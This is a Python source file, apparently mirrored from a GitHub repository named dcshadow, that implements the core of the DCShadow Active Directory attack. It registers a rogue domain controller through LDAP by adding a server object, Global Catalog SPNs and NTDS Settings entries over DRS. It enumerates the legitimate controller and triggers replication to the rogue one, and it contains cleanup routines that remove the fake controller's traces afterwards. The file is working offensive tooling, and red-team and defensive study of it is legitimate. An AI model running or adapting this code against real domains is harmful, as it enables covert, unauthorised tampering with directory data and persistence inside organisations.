mirror of
https://github.com/ShutdownRepo/dcshadow
synced 2026-06-06 16:44:32 +00:00
Shutdown
259 lines
12 KiB
Python
259 lines
12 KiB
Python
from R2Log import logger
|
|
from ldap3 import MODIFY_ADD, LEVEL, SUBTREE, MODIFY_DELETE, BASE
|
|
|
|
from dcshadow.manager.SessionsManager import SessionsManager
|
|
from dcshadow.model.ReplicationAttribute import ReplicationAttribute
|
|
from impacket import uuid
|
|
|
|
|
|
class DomainController:
|
|
def __init__(self):
|
|
self.distinguished_name: str = ""
|
|
self.dns_hostname = str
|
|
self.object_guid: bytes = b""
|
|
self.invocation_id: bytes = b""
|
|
self.replication_epoch: int = 0
|
|
self.dc_ds_service_name: str = ""
|
|
self.ds_service_name: str
|
|
self.domain_nc: str
|
|
self.schema_nc: str
|
|
self.configuration_nc: str = ""
|
|
self.func_level: int
|
|
self.max_update_seq_num: int
|
|
|
|
def enumNTDSSettings(self):
|
|
logger.debug(f"Enumerating NTDS settings from: {self.dc_ds_service_name}")
|
|
ldap_client = SessionsManager().get_ldap()
|
|
ldap_client.session.search(
|
|
search_base=self.dc_ds_service_name,
|
|
search_scope=LEVEL,
|
|
search_filter="(name=NTDS Settings)",
|
|
attributes=[
|
|
"objectGUID",
|
|
"invocationId",
|
|
"msDS-ReplicationEpoch"
|
|
]
|
|
)
|
|
self.replication_epoch = ldap_client.session.entries[0]['msDS-ReplicationEpoch']
|
|
self.invocation_id = ldap_client.session.entries[0]['invocationId'].raw_values[0]
|
|
self.object_guid = ldap_client.session.entries[0]['objectGUID'].raw_values[0]
|
|
logger.debug(f"└── invocation_id: {uuid.bin_to_string(self.invocation_id)}")
|
|
logger.debug(f"└── object_guid: {uuid.bin_to_string(self.object_guid)}")
|
|
|
|
|
|
class RogueDomainController(DomainController):
|
|
def __init__(self, domain, netbios_name, ds_service_name, domain_nc, schema_nc, configuration_nc, func_level, max_update_seq_num):
|
|
super().__init__()
|
|
self.domain = domain
|
|
self.netbios_name: str = netbios_name
|
|
self.ds_service_name = ds_service_name
|
|
self.dc_ds_service_name = f"CN={self.netbios_name},{self.ds_service_name}"
|
|
self.domain_nc = domain_nc
|
|
self.schema_nc = schema_nc
|
|
self.configuration_nc = configuration_nc
|
|
self.func_level = func_level
|
|
self.max_update_seq_num = max_update_seq_num
|
|
self.__enumComputerObject()
|
|
self.__register()
|
|
# self.__unregister()
|
|
|
|
def __createComputerObject(self):
|
|
raise NotImplementedError
|
|
|
|
def __registerDnsEntry(self):
|
|
raise NotImplementedError
|
|
|
|
def unregister(self):
|
|
logger.verbose("Unregistering rogue domain controller")
|
|
self.__removeNtdsSettings()
|
|
self.__removeServerReferenceObject()
|
|
self.__removeDcSpns()
|
|
logger.success("Rogue domain controller unregistered successfully")
|
|
|
|
def __removeNtdsSettings(self):
|
|
# Removing NTDS Settings associated to Fake DC, as well as fake DC object in Configuration partition
|
|
logger.debug("Removing Fake DC NTDS Settings")
|
|
ldap_client = SessionsManager().get_ldap()
|
|
_target_dsname = f"CN=NTDS Settings,{self.dc_ds_service_name}"
|
|
ldap_client.session.delete(dn=_target_dsname)
|
|
if ldap_client.check_ldap_result():
|
|
logger.debug('LDAP Removal OK')
|
|
logger.debug(f'Removed {_target_dsname}')
|
|
else:
|
|
logger.debug("Could not remove NTDS entry")
|
|
|
|
def __removeServerReferenceObject(self):
|
|
# Removing the whole server reference object in the config NC
|
|
logger.debug("Removing Fake DC in Configuration partition")
|
|
ldap_client = SessionsManager().get_ldap()
|
|
ldap_client.session.delete(dn=self.dc_ds_service_name)
|
|
if ldap_client.check_ldap_result():
|
|
logger.debug('LDAP Removal OK')
|
|
logger.debug(f'Removed {self.dc_ds_service_name}')
|
|
else:
|
|
logger.debug("Could not remove Fake DC entry")
|
|
|
|
def __removeDcSpns(self):
|
|
# Removing ServicePrincipalNames
|
|
logger.debug("Removing rogue DC Service Principal Names")
|
|
ldap_client = SessionsManager().get_ldap()
|
|
MSRPC_UUID_DRSUAPI = ("E3514235-4B06-11D1-AB04-00C04FC2DCD2", "4.0") # TODO move this in a common space in utils?
|
|
_spns_to_remove = []
|
|
ldap_client.session.search(
|
|
search_base=self.distinguished_name,
|
|
search_scope=BASE,
|
|
search_filter="(objectClass=*)",
|
|
attributes="servicePrincipalName"
|
|
)
|
|
if len(ldap_client.session.entries) == 1:
|
|
_spn_objectguid_prefix = f"{MSRPC_UUID_DRSUAPI[0]}/{uuid.bin_to_string(self.object_guid).lower()}/"
|
|
_spn_gc = f"GC/{self.dns_hostname}/{self.domain}"
|
|
logger.debug("Looking for the following SPNs")
|
|
logger.debug(f"└── {_spn_objectguid_prefix}...")
|
|
logger.debug(f"└── {_spn_gc}")
|
|
logger.debug("Browsing current servicePrincipalNames")
|
|
spns = ldap_client.session.entries[0]['servicePrincipalName']
|
|
total_spns = len(spns)
|
|
for index, spn in enumerate(spns):
|
|
logger.debug(f"{'└──' if index == total_spns - 1 else '└──'} {spn}")
|
|
if spn.startswith(_spn_objectguid_prefix) or spn == _spn_gc:
|
|
_spns_to_remove.append(spn)
|
|
logger.debug("Removing Fake DC SPNs from associated computer object")
|
|
logger.debug(f"SPN to remove: {_spns_to_remove}")
|
|
ldap_client.session.modify(
|
|
dn=self.distinguished_name,
|
|
changes={'servicePrincipalName': [MODIFY_DELETE, _spns_to_remove]}
|
|
)
|
|
if ldap_client.check_ldap_result():
|
|
logger.debug('LDAP SPN values removal OK')
|
|
logger.debug("Removed SPNs")
|
|
else:
|
|
logger.debug("No SPN found... Something's probably wrong")
|
|
|
|
def __register(self):
|
|
logger.verbose("Registering rogue domain controller")
|
|
self.__registerDomainControllerLdap()
|
|
self.__addNtdsSettings()
|
|
self.enumNTDSSettings()
|
|
if self.object_guid and self.invocation_id:
|
|
logger.success("Rogue domain controller registered successfully")
|
|
|
|
def __registerDomainControllerLdap(self):
|
|
logger.verbose("Registering rogue domain controller (LDAP step)")
|
|
self.__addServerReferenceObject()
|
|
self.__addDcSpns()
|
|
#self.__addSupportedEncryptionTypes()
|
|
|
|
def __addServerReferenceObject(self):
|
|
logger.debug("Adding server reference object")
|
|
ldap_client = SessionsManager().get_ldap()
|
|
ldap_client.session.add(
|
|
dn=f"CN={self.netbios_name},{self.ds_service_name}",
|
|
object_class="server",
|
|
attributes={
|
|
'dNSHostName': f"{self.dns_hostname}",
|
|
'serverReference': f"{self.distinguished_name}"
|
|
}
|
|
)
|
|
if ldap_client.check_ldap_result():
|
|
logger.debug('LDAP object addition OK')
|
|
|
|
def __addDcSpns(self):
|
|
logger.debug("Adding SPNs to rogue DC computer object")
|
|
ldap_client = SessionsManager().get_ldap()
|
|
ldap_client.session.modify(
|
|
dn=self.distinguished_name,
|
|
changes={
|
|
'servicePrincipalName': [
|
|
MODIFY_ADD, [f"GC/{self.dns_hostname}/{self.domain}"]
|
|
]
|
|
}
|
|
)
|
|
if ldap_client.check_ldap_result():
|
|
logger.debug('LDAP SPN addition OK')
|
|
|
|
def __addSupportedEncryptionTypes(self):
|
|
logger.debug("Specifying supported encryption types to force AES")
|
|
ldap_client = SessionsManager().get_ldap()
|
|
ldap_client.session.modify(
|
|
dn=self.distinguished_name,
|
|
changes={'msDS-SupportedEncryptionTypes': [MODIFY_ADD, 0x1F]}
|
|
)
|
|
if ldap_client.check_ldap_result():
|
|
logger.debug('LDAP SPN addition OK')
|
|
|
|
def __addNtdsSettings(self):
|
|
logger.verbose("Registering rogue domain controller (DRS step)")
|
|
attributes = {
|
|
"objectClass": "1.2.840.113556.1.5.7000.47",
|
|
"objectCategory": f"CN=NTDS-DSA,{self.schema_nc}",
|
|
"dMDLocation": self.schema_nc,
|
|
"invocationId": uuid.generate(),
|
|
"options": 0,
|
|
"systemFlags": 16,
|
|
"serverReference": self.distinguished_name,
|
|
"msDS-Behavior-Version": self.func_level,
|
|
"msDS-HasDomainNCs": self.domain_nc,
|
|
"msDS-hasMasterNCs": [self.domain_nc, self.configuration_nc, self.schema_nc],
|
|
"hasMasterNCs": [self.domain_nc, self.configuration_nc, self.schema_nc]
|
|
}
|
|
repl_attributes = ReplicationAttribute.builder(attributes=attributes)
|
|
drs_client = SessionsManager().get_drs()
|
|
drs_client.add_entry(rogue_dc=self, repl_attributes=repl_attributes) # FIXME it would make more sense to not have the repl_arguments but I don't know how to do it and not have a circular import
|
|
|
|
def __enumComputerObject(self):
|
|
logger.debug("Enumerating rogue domain controller computer object")
|
|
ldap_client = SessionsManager().get_ldap()
|
|
ldap_client.session.search(
|
|
# search_base=f"DC=north,{self.info['DomainNamingContext']}", # FIXME, how does mimikatz know the domain to look in? Can't find in kuhl_m_lsadump_dcshadow_domaininfo_computer, statically setting for now
|
|
search_base=self.domain_nc, # TODO if when we attack child domains we need a dynamic base, then keep it that way. Else, retrieve the domain nc from the legit DC : ldap_client.server.info.other["rootDomainNamingContext"][0]
|
|
search_filter=f"(&(|(objectClass=user)(objectClass=computer))(sAMAccountName={self.netbios_name}$))",
|
|
attributes=[
|
|
"distinguishedName",
|
|
"userAccountControl",
|
|
"dNSHostName", # TODO this property doesn't seem to be set when creating a computer account with addcomputer.py SAMR. LDAPS method must be used.
|
|
"msDS-SupportedEncryptionTypes"
|
|
]
|
|
)
|
|
# TODO raise an error if the object doesn't exist
|
|
self.distinguished_name = ldap_client.session.entries[0]['distinguishedName'].raw_values[0].decode('utf-8')
|
|
self.dns_hostname = ldap_client.session.entries[0]['dNSHostName'].raw_values[0].decode('utf-8')
|
|
logger.debug(f"└── Distinguished name: {self.distinguished_name}")
|
|
logger.debug(f"└── DNS hostname (FQDN): {self.dns_hostname}")
|
|
try:
|
|
logger.debug(f"└── msDS-SupportedEncryptionTypes: {ldap_client.session.entries[0]['msDS-SupportedEncryptionTypes'][0]}")
|
|
except IndexError:
|
|
logger.debug(f"msDS-SupportedEncryptionTypes: not set")
|
|
|
|
|
|
class LegitDomainController(DomainController):
|
|
def __init__(self, fqdn):
|
|
super().__init__()
|
|
self.dns_hostname = fqdn
|
|
self.__enumLdapServer()
|
|
|
|
def __enumLdapServer(self):
|
|
logger.debug("Enumerating legitimate domain controller")
|
|
ldap_client = SessionsManager().get_ldap()
|
|
self.domain_nc = ldap_client.server.info.other["rootDomainNamingContext"][0]
|
|
self.configuration_nc = ldap_client.server.info.other["configurationNamingContext"][0]
|
|
self.schema_nc = ldap_client.server.info.other["schemaNamingContext"][0]
|
|
self.dc_ds_service_name = ldap_client.server.info.other["dsServiceName"][0]
|
|
self.ds_service_name = ",".join(self.dc_ds_service_name.split(",")[2:])
|
|
self.func_level = int(ldap_client.server.info.other["domainControllerFunctionality"][0])
|
|
FUNCTIONALITY_LEVEL = ["WIN2000", "WIN2003_WITH_MIXED_DOMAINS", "WIN2003", "WIN2008", "WIN2008R2", "WIN2012", "WIN2012R2", "WIN2016"]
|
|
self.func_level_str = FUNCTIONALITY_LEVEL[self.func_level]
|
|
self.max_update_seq_num = ldap_client.server.info.other["highestCommittedUSN"][0]
|
|
logger.debug(f"└── Domain NC: {self.domain_nc}")
|
|
logger.debug(f"└── Domain Controller FQDN: {self.dns_hostname}")
|
|
logger.debug(f"└── Configuration NC: {self.configuration_nc}")
|
|
logger.debug(f"└── Schema NC: {self.schema_nc}")
|
|
logger.debug(f"└── Ds Service Name: {self.ds_service_name}")
|
|
logger.debug(f"└── Functionality level: {self.func_level_str}")
|
|
logger.debug(f"└── Highest Committed USN: {self.max_update_seq_num}")
|
|
|
|
def initReplication(self, rogue_dc_dns_hostname):
|
|
drs_client = SessionsManager().get_drs()
|
|
add_request = drs_client.replica_add(rogue_dc_dns_hostname=rogue_dc_dns_hostname, naming_context=self.domain_nc)
|
|
drs_client.replica_del(replica_add_request=add_request)
|